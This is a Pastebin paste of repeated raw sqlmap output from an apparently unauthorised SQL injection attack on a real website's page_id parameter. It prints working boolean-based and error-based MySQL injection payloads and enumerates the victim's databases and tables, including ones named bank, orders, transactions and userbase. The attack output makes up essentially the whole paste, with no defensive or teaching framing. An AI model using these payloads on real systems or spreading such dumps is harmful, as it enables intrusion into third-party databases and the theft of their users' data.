API tools faq
paste
Multiplexor

Untitled

Multiplexor
Jan 6th, 2012
189
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.97 KB | None | 0 0
raw download clone embed print report
  1. # #
  2. ## ## # # # ##### # ##### # ###### # # #### #####
  3. # # # # # # # # # # # # # # # # # # #
  4. # # # # # # # # # # # ##### ## # # # #
  5. # # # # # # # ##### # # ## # # #####
  6. # # # # # # # # # # # # # # # #
  7. # # #### ###### # # # ###### ###### # # #### # #
  8.  
  9.  
  10.  
  11.  
  12. sqlmap identified the following injection points with a total of 28 HTTP(s) requests:
  13. ---
  14. Place: GET
  15. Parameter: page_id
  16. Type: boolean-based blind
  17. Title: AND boolean-based blind - WHERE or HAVING clause
  18. Payload: page_id=28167956 AND 1228=1228
  19.  
  20. Type: error-based
  21. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  22. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  23. ---
  24.  
  25. available databases [9]:
  26. [*] information_schema
  27. [*] mysql
  28. [*] orcataco_bumperstic
  29. [*] orcataco_officerjones
  30. [*] orcataco_officerjones_1
  31. [*] orcataco_officerjones_2
  32. [*] orcataco_snap
  33. [*] signedbump
  34. [*] test
  35.  
  36. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  37. ---
  38. Place: GET
  39. Parameter: page_id
  40. Type: boolean-based blind
  41. Title: AND boolean-based blind - WHERE or HAVING clause
  42. Payload: page_id=28167956 AND 1228=1228
  43.  
  44. Type: error-based
  45. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  46. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  47. ---
  48.  
  49. Database: mysql
  50. [17 tables]
  51. +---------------------------+
  52. | columns_priv |
  53. | db |
  54. | func |
  55. | help_category |
  56. | help_keyword |
  57. | help_relation |
  58. | help_topic |
  59. | host |
  60. | proc |
  61. | procs_priv |
  62. | tables_priv |
  63. | time_zone |
  64. | time_zone_leap_second |
  65. | time_zone_name |
  66. | time_zone_transition |
  67. | time_zone_transition_type |
  68. | user |
  69. +---------------------------+
  70.  
  71. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  72. ---
  73. Place: GET
  74. Parameter: page_id
  75. Type: boolean-based blind
  76. Title: AND boolean-based blind - WHERE or HAVING clause
  77. Payload: page_id=28167956 AND 1228=1228
  78.  
  79. Type: error-based
  80. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  81. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  82. ---
  83.  
  84. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  85. ---
  86. Place: GET
  87. Parameter: page_id
  88. Type: boolean-based blind
  89. Title: AND boolean-based blind - WHERE or HAVING clause
  90. Payload: page_id=28167956 AND 1228=1228
  91.  
  92. Type: error-based
  93. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  94. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  95. ---
  96.  
  97. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  98. ---
  99. Place: GET
  100. Parameter: page_id
  101. Type: boolean-based blind
  102. Title: AND boolean-based blind - WHERE or HAVING clause
  103. Payload: page_id=28167956 AND 1228=1228
  104.  
  105. Type: error-based
  106. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  107. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  108. ---
  109.  
  110. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  111. ---
  112. Place: GET
  113. Parameter: page_id
  114. Type: boolean-based blind
  115. Title: AND boolean-based blind - WHERE or HAVING clause
  116. Payload: page_id=28167956 AND 1228=1228
  117.  
  118. Type: error-based
  119. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  120. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  121. ---
  122.  
  123. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  124. ---
  125. Place: GET
  126. Parameter: page_id
  127. Type: boolean-based blind
  128. Title: AND boolean-based blind - WHERE or HAVING clause
  129. Payload: page_id=28167956 AND 1228=1228
  130.  
  131. Type: error-based
  132. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  133. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  134. ---
  135.  
  136. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  137. ---
  138. Place: GET
  139. Parameter: page_id
  140. Type: boolean-based blind
  141. Title: AND boolean-based blind - WHERE or HAVING clause
  142. Payload: page_id=28167956 AND 1228=1228
  143.  
  144. Type: error-based
  145. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  146. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  147. ---
  148.  
  149. available databases [9]:
  150. [*] information_schema
  151. [*] mysql
  152. [*] orcataco_bumperstic
  153. [*] orcataco_officerjones
  154. [*] orcataco_officerjones_1
  155. [*] orcataco_officerjones_2
  156. [*] orcataco_snap
  157. [*] signedbump
  158. [*] test
  159.  
  160. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  161. ---
  162. Place: GET
  163. Parameter: page_id
  164. Type: boolean-based blind
  165. Title: AND boolean-based blind - WHERE or HAVING clause
  166. Payload: page_id=28167956 AND 1228=1228
  167.  
  168. Type: error-based
  169. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  170. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  171. ---
  172.  
  173. Database: orcataco_bumperstic
  174. [113 tables]
  175. +--------------------------+
  176. | _settings |
  177. | bank |
  178. | basket_items |
  179. | basket_orders |
  180. | basket_tags |
  181. | baskets |
  182. | brands |
  183. | bsuids |
  184. | categories |
  185. | clickemail |
  186. | clickwizard |
  187. | comment |
  188. | counters |
  189. | counters_i12 |
  190. | counters_i24 |
  191. | counters_o12 |
  192. | counters_o24 |
  193. | emailsendlog |
  194. | favorite_orders |
  195. | feedback |
  196. | game |
  197. | game_score |
  198. | hm_events |
  199. | hm_message_queue |
  200. | invited |
  201. | invited_from_force |
  202. | item_book |
  203. | item_tags |
  204. | items |
  205. | line_items |
  206. | logadd |
  207. | logcontacts |
  208. | loggiftclick |
  209. | logimport |
  210. | loginvite |
  211. | loginvited |
  212. | logvalidate |
  213. | logwizard |
  214. | motd |
  215. | notified |
  216. | notify_off |
  217. | occasions |
  218. | orders |
  219. | orders_non_facebook |
  220. | page_items |
  221. | played |
  222. | post_install_items |
  223. | post_install_items_v2 |
  224. | profile_settings |
  225. | public_pages |
  226. | publish_stream_sgnonpred |
  227. | purchase |
  228. | quicksender |
  229. | recent_users |
  230. | reply_from_hist |
  231. | requests_sent |
  232. | rpd_by_day |
  233. | sendqueue |
  234. | sendsthisweek |
  235. | sendsthisweek2 |
  236. | sent |
  237. | settings |
  238. | stream_posts |
  239. | survey_answers |
  240. | survey_questions |
  241. | tag_stats |
  242. | tags |
  243. | temp_birthday_orders |
  244. | temp_click_events |
  245. | temp_daily_stats |
  246. | temp_despicable_me |
  247. | temp_funnel_test_orders |
  248. | temp_hourly_stats |
  249. | temp_invite_stats |
  250. | temp_invite_stats_v2 |
  251. | temp_item_recs2 |
  252. | temp_nectar_ads |
  253. | temp_nectar_stats_v2 |
  254. | temp_order_clicks |
  255. | temp_page_counter |
  256. | temp_page_visits |
  257. | temp_premium_orders |
  258. | temp_request_demo_stats |
  259. | temp_request_stats |
  260. | temp_retention_daily |
  261. | temp_retention_weekly |
  262. | temp_sendgroup_members |
  263. | temp_sendgroup_sends |
  264. | temp_test_order_users |
  265. | temp_test_orders |
  266. | temp_tutorial_stages |
  267. | temp_user_credits |
  268. | temp_userbase |
  269. | theme_tag_map |
  270. | theme_tags |
  271. | themes |
  272. | themes_user_gen |
  273. | transactions |
  274. | uids |
  275. | unlocked |
  276. | unopened |
  277. | unsent |
  278. | unsubscribe |
  279. | user_country |
  280. | user_groups |
  281. | user_items |
  282. | user_pages |
  283. | user_pageviews |
  284. | user_pageviews_v2 |
  285. | user_themes |
  286. | userbase |
  287. | winner |
  288. | wishlist |
  289. +--------------------------+
  290.  
  291. Database: test
  292. [21 tables]
  293. +------------------------+
  294. | TempTable |
  295. | appinfo |
  296. | autoincr |
  297. | cur |
  298. | deals |
  299. | errorcounts |
  300. | errorfromfirst1000 |
  301. | install_metrics |
  302. | installs_by_day |
  303. | installs_by_invite_day |
  304. | invited_from_force |
  305. | invites_by_day |
  306. | invites_by_newuser_day |
  307. | ret_users2 |
  308. | retlog |
  309. | rpdbyda |
  310. | send_log |
  311. | uids |
  312. | user_country |
  313. | x |
  314. | y |
  315. +------------------------+
  316.  
  317. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  318. ---
  319. Place: GET
  320. Parameter: page_id
  321. Type: boolean-based blind
  322. Title: AND boolean-based blind - WHERE or HAVING clause
  323. Payload: page_id=28167956 AND 1228=1228
  324.  
  325. Type: error-based
  326. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  327. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  328. ---
  329.  
  330. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  331. ---
  332. Place: GET
  333. Parameter: page_id
  334. Type: boolean-based blind
  335. Title: AND boolean-based blind - WHERE or HAVING clause
  336. Payload: page_id=28167956 AND 1228=1228
  337.  
  338. Type: error-based
  339. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  340. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  341. ---
  342.  
  343. Database: test
  344. [21 tables]
  345. +------------------------+
  346. | TempTable |
  347. | appinfo |
  348. | autoincr |
  349. | cur |
  350. | deals |
  351. | errorcounts |
  352. | errorfromfirst1000 |
  353. | install_metrics |
  354. | installs_by_day |
  355. | installs_by_invite_day |
  356. | invited_from_force |
  357. | invites_by_day |
  358. | invites_by_newuser_day |
  359. | ret_users2 |
  360. | retlog |
  361. | rpdbyda |
  362. | send_log |
  363. | uids |
  364. | user_country |
  365. | x |
  366. | y |
  367. +------------------------+
  368.  
  369. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  370. ---
  371. Place: GET
  372. Parameter: page_id
  373. Type: boolean-based blind
  374. Title: AND boolean-based blind - WHERE or HAVING clause
  375. Payload: page_id=28167956 AND 1228=1228
  376.  
  377. Type: error-based
  378. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  379. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  380. ---
  381.  
  382. Database: orcataco_bumperstic
  383. [113 tables]
  384. +--------------------------+
  385. | _settings |
  386. | bank |
  387. | basket_items |
  388. | basket_orders |
  389. | basket_tags |
  390. | baskets |
  391. | brands |
  392. | bsuids |
  393. | categories |
  394. | clickemail |
  395. | clickwizard |
  396. | comment |
  397. | counters |
  398. | counters_i12 |
  399. | counters_i24 |
  400. | counters_o12 |
  401. | counters_o24 |
  402. | emailsendlog |
  403. | favorite_orders |
  404. | feedback |
  405. | game |
  406. | game_score |
  407. | hm_events |
  408. | hm_message_queue |
  409. | invited |
  410. | invited_from_force |
  411. | item_book |
  412. | item_tags |
  413. | items |
  414. | line_items |
  415. | logadd |
  416. | logcontacts |
  417. | loggiftclick |
  418. | logimport |
  419. | loginvite |
  420. | loginvited |
  421. | logvalidate |
  422. | logwizard |
  423. | motd |
  424. | notified |
  425. | notify_off |
  426. | occasions |
  427. | orders |
  428. | orders_non_facebook |
  429. | page_items |
  430. | played |
  431. | post_install_items |
  432. | post_install_items_v2 |
  433. | profile_settings |
  434. | public_pages |
  435. | publish_stream_sgnonpred |
  436. | purchase |
  437. | quicksender |
  438. | recent_users |
  439. | reply_from_hist |
  440. | requests_sent |
  441. | rpd_by_day |
  442. | sendqueue |
  443. | sendsthisweek |
  444. | sendsthisweek2 |
  445. | sent |
  446. | settings |
  447. | stream_posts |
  448. | survey_answers |
  449. | survey_questions |
  450. | tag_stats |
  451. | tags |
  452. | temp_birthday_orders |
  453. | temp_click_events |
  454. | temp_daily_stats |
  455. | temp_despicable_me |
  456. | temp_funnel_test_orders |
  457. | temp_hourly_stats |
  458. | temp_invite_stats |
  459. | temp_invite_stats_v2 |
  460. | temp_item_recs2 |
  461. | temp_nectar_ads |
  462. | temp_nectar_stats_v2 |
  463. | temp_order_clicks |
  464. | temp_page_counter |
  465. | temp_page_visits |
  466. | temp_premium_orders |
  467. | temp_request_demo_stats |
  468. | temp_request_stats |
  469. | temp_retention_daily |
  470. | temp_retention_weekly |
  471. | temp_sendgroup_members |
  472. | temp_sendgroup_sends |
  473. | temp_test_order_users |
  474. | temp_test_orders |
  475. | temp_tutorial_stages |
  476. | temp_user_credits |
  477. | temp_userbase |
  478. | theme_tag_map |
  479. | theme_tags |
  480. | themes |
  481. | themes_user_gen |
  482. | transactions |
  483. | uids |
  484. | unlocked |
  485. | unopened |
  486. | unsent |
  487. | unsubscribe |
  488. | user_country |
  489. | user_groups |
  490. | user_items |
  491. | user_pages |
  492. | user_pageviews |
  493. | user_pageviews_v2 |
  494. | user_themes |
  495. | userbase |
  496. | winner |
  497. | wishlist |
  498. +--------------------------+
  499.  
  500. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  501. ---
  502. Place: GET
  503. Parameter: page_id
  504. Type: boolean-based blind
  505. Title: AND boolean-based blind - WHERE or HAVING clause
  506. Payload: page_id=28167956 AND 1228=1228
  507.  
  508. Type: error-based
  509. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  510. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  511. ---
  512.  
  513. Database: orcataco_bumperstic
  514. [113 tables]
  515. +--------------------------+
  516. | _settings |
  517. | bank |
  518. | basket_items |
  519. | basket_orders |
  520. | basket_tags |
  521. | baskets |
  522. | brands |
  523. | bsuids |
  524. | categories |
  525. | clickemail |
  526. | clickwizard |
  527. | comment |
  528. | counters |
  529. | counters_i12 |
  530. | counters_i24 |
  531. | counters_o12 |
  532. | counters_o24 |
  533. | emailsendlog |
  534. | favorite_orders |
  535. | feedback |
  536. | game |
  537. | game_score |
  538. | hm_events |
  539. | hm_message_queue |
  540. | invited |
  541. | invited_from_force |
  542. | item_book |
  543. | item_tags |
  544. | items |
  545. | line_items |
  546. | logadd |
  547. | logcontacts |
  548. | loggiftclick |
  549. | logimport |
  550. | loginvite |
  551. | loginvited |
  552. | logvalidate |
  553. | logwizard |
  554. | motd |
  555. | notified |
  556. | notify_off |
  557. | occasions |
  558. | orders |
  559. | orders_non_facebook |
  560. | page_items |
  561. | played |
  562. | post_install_items |
  563. | post_install_items_v2 |
  564. | profile_settings |
  565. | public_pages |
  566. | publish_stream_sgnonpred |
  567. | purchase |
  568. | quicksender |
  569. | recent_users |
  570. | reply_from_hist |
  571. | requests_sent |
  572. | rpd_by_day |
  573. | sendqueue |
  574. | sendsthisweek |
  575. | sendsthisweek2 |
  576. | sent |
  577. | settings |
  578. | stream_posts |
  579. | survey_answers |
  580. | survey_questions |
  581. | tag_stats |
  582. | tags |
  583. | temp_birthday_orders |
  584. | temp_click_events |
  585. | temp_daily_stats |
  586. | temp_despicable_me |
  587. | temp_funnel_test_orders |
  588. | temp_hourly_stats |
  589. | temp_invite_stats |
  590. | temp_invite_stats_v2 |
  591. | temp_item_recs2 |
  592. | temp_nectar_ads |
  593. | temp_nectar_stats_v2 |
  594. | temp_order_clicks |
  595. | temp_page_counter |
  596. | temp_page_visits |
  597. | temp_premium_orders |
  598. | temp_request_demo_stats |
  599. | temp_request_stats |
  600. | temp_retention_daily |
  601. | temp_retention_weekly |
  602. | temp_sendgroup_members |
  603. | temp_sendgroup_sends |
  604. | temp_test_order_users |
  605. | temp_test_orders |
  606. | temp_tutorial_stages |
  607. | temp_user_credits |
  608. | temp_userbase |
  609. | theme_tag_map |
  610. | theme_tags |
  611. | themes |
  612. | themes_user_gen |
  613. | transactions |
  614. | uids |
  615. | unlocked |
  616. | unopened |
  617. | unsent |
  618. | unsubscribe |
  619. | user_country |
  620. | user_groups |
  621. | user_items |
  622. | user_pages |
  623. | user_pageviews |
  624. | user_pageviews_v2 |
  625. | user_themes |
  626. | userbase |
  627. | winner |
  628. | wishlist |
  629. +--------------------------+
  630.  
  631. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  632. ---
  633. Place: GET
  634. Parameter: page_id
  635. Type: boolean-based blind
  636. Title: AND boolean-based blind - WHERE or HAVING clause
  637. Payload: page_id=28167956 AND 1228=1228
  638.  
  639. Type: error-based
  640. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  641. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  642. ---
  643.  
  644. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  645. ---
  646. Place: GET
  647. Parameter: page_id
  648. Type: boolean-based blind
  649. Title: AND boolean-based blind - WHERE or HAVING clause
  650. Payload: page_id=28167956 AND 1228=1228
  651.  
  652. Type: error-based
  653. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  654. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  655. ---
  656.  
  657. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  658. ---
  659. Place: GET
  660. Parameter: page_id
  661. Type: boolean-based blind
  662. Title: AND boolean-based blind - WHERE or HAVING clause
  663. Payload: page_id=28167956 AND 1228=1228
  664.  
  665. Type: error-based
  666. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  667. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  668. ---
  669.  
  670. Database: orcataco_bumperstic
  671. [113 tables]
  672. +--------------------------+
  673. | _settings |
  674. | bank |
  675. | basket_items |
  676. | basket_orders |
  677. | basket_tags |
  678. | baskets |
  679. | brands |
  680. | bsuids |
  681. | categories |
  682. | clickemail |
  683. | clickwizard |
  684. | comment |
  685. | counters |
  686. | counters_i12 |
  687. | counters_i24 |
  688. | counters_o12 |
  689. | counters_o24 |
  690. | emailsendlog |
  691. | favorite_orders |
  692. | feedback |
  693. | game |
  694. | game_score |
  695. | hm_events |
  696. | hm_message_queue |
  697. | invited |
  698. | invited_from_force |
  699. | item_book |
  700. | item_tags |
  701. | items |
  702. | line_items |
  703. | logadd |
  704. | logcontacts |
  705. | loggiftclick |
  706. | logimport |
  707. | loginvite |
  708. | loginvited |
  709. | logvalidate |
  710. | logwizard |
  711. | motd |
  712. | notified |
  713. | notify_off |
  714. | occasions |
  715. | orders |
  716. | orders_non_facebook |
  717. | page_items |
  718. | played |
  719. | post_install_items |
  720. | post_install_items_v2 |
  721. | profile_settings |
  722. | public_pages |
  723. | publish_stream_sgnonpred |
  724. | purchase |
  725. | quicksender |
  726. | recent_users |
  727. | reply_from_hist |
  728. | requests_sent |
  729. | rpd_by_day |
  730. | sendqueue |
  731. | sendsthisweek |
  732. | sendsthisweek2 |
  733. | sent |
  734. | settings |
  735. | stream_posts |
  736. | survey_answers |
  737. | survey_questions |
  738. | tag_stats |
  739. | tags |
  740. | temp_birthday_orders |
  741. | temp_click_events |
  742. | temp_daily_stats |
  743. | temp_despicable_me |
  744. | temp_funnel_test_orders |
  745. | temp_hourly_stats |
  746. | temp_invite_stats |
  747. | temp_invite_stats_v2 |
  748. | temp_item_recs2 |
  749. | temp_nectar_ads |
  750. | temp_nectar_stats_v2 |
  751. | temp_order_clicks |
  752. | temp_page_counter |
  753. | temp_page_visits |
  754. | temp_premium_orders |
  755. | temp_request_demo_stats |
  756. | temp_request_stats |
  757. | temp_retention_daily |
  758. | temp_retention_weekly |
  759. | temp_sendgroup_members |
  760. | temp_sendgroup_sends |
  761. | temp_test_order_users |
  762. | temp_test_orders |
  763. | temp_tutorial_stages |
  764. | temp_user_credits |
  765. | temp_userbase |
  766. | theme_tag_map |
  767. | theme_tags |
  768. | themes |
  769. | themes_user_gen |
  770. | transactions |
  771. | uids |
  772. | unlocked |
  773. | unopened |
  774. | unsent |
  775. | unsubscribe |
  776. | user_country |
  777. | user_groups |
  778. | user_items |
  779. | user_pages |
  780. | user_pageviews |
  781. | user_pageviews_v2 |
  782. | user_themes |
  783. | userbase |
  784. | winner |
  785. | wishlist |
  786. +--------------------------+
  787.  
  788. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  789. ---
  790. Place: GET
  791. Parameter: page_id
  792. Type: boolean-based blind
  793. Title: AND boolean-based blind - WHERE or HAVING clause
  794. Payload: page_id=28167956 AND 1228=1228
  795.  
  796. Type: error-based
  797. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  798. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  799. ---
  800.  
  801. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  802. ---
  803. Place: GET
  804. Parameter: page_id
  805. Type: boolean-based blind
  806. Title: AND boolean-based blind - WHERE or HAVING clause
  807. Payload: page_id=28167956 AND 1228=1228
  808.  
  809. Type: error-based
  810. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  811. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  812. ---
  813.  
  814. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  815. ---
  816. Place: GET
  817. Parameter: page_id
  818. Type: boolean-based blind
  819. Title: AND boolean-based blind - WHERE or HAVING clause
  820. Payload: page_id=28167956 AND 1228=1228
  821.  
  822. Type: error-based
  823. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  824. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  825. ---
  826.  
  827. help [1]:
  828.  
  829. wget txt [1]:
  830.  
  831. ? [1]:
  832.  
  833. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  834. ---
  835. Place: GET
  836. Parameter: page_id
  837. Type: boolean-based blind
  838. Title: AND boolean-based blind - WHERE or HAVING clause
  839. Payload: page_id=28167956 AND 1228=1228
  840.  
  841. Type: error-based
  842. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  843. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  844. ---
  845.  
  846. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  847. ---
  848. Place: GET
  849. Parameter: page_id
  850. Type: boolean-based blind
  851. Title: AND boolean-based blind - WHERE or HAVING clause
  852. Payload: page_id=28167956 AND 1228=1228
  853.  
  854. Type: error-based
  855. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  856. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  857. ---
  858.  
  859. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  860. ---
  861. Place: GET
  862. Parameter: page_id
  863. Type: boolean-based blind
  864. Title: AND boolean-based blind - WHERE or HAVING clause
  865. Payload: page_id=28167956 AND 1228=1228
  866.  
  867. Type: error-based
  868. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  869. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  870. ---
  871.  
  872. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  873. ---
  874. Place: GET
  875. Parameter: page_id
  876. Type: boolean-based blind
  877. Title: AND boolean-based blind - WHERE or HAVING clause
  878. Payload: page_id=28167956 AND 1228=1228
  879.  
  880. Type: error-based
  881. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  882. Payload: page_id=28167956 AND (SELECT 3412 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,99,114,58),(SELECT (CASE WHEN (3412=3412) THEN 1 ELSE 0 END)),CHAR(58,105,115,121,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  883. ---
  884.  
  885. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  886. ---
  887. Place: GET
  888. Parameter: page_id
  889. Type: boolean-based blind
  890. Title: AND boolean-based blind - WHERE or HAVING clause
  891. Payload: page_id=28167956 AND 1228=1228
  892.  
  893. Type: error-based
  894. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
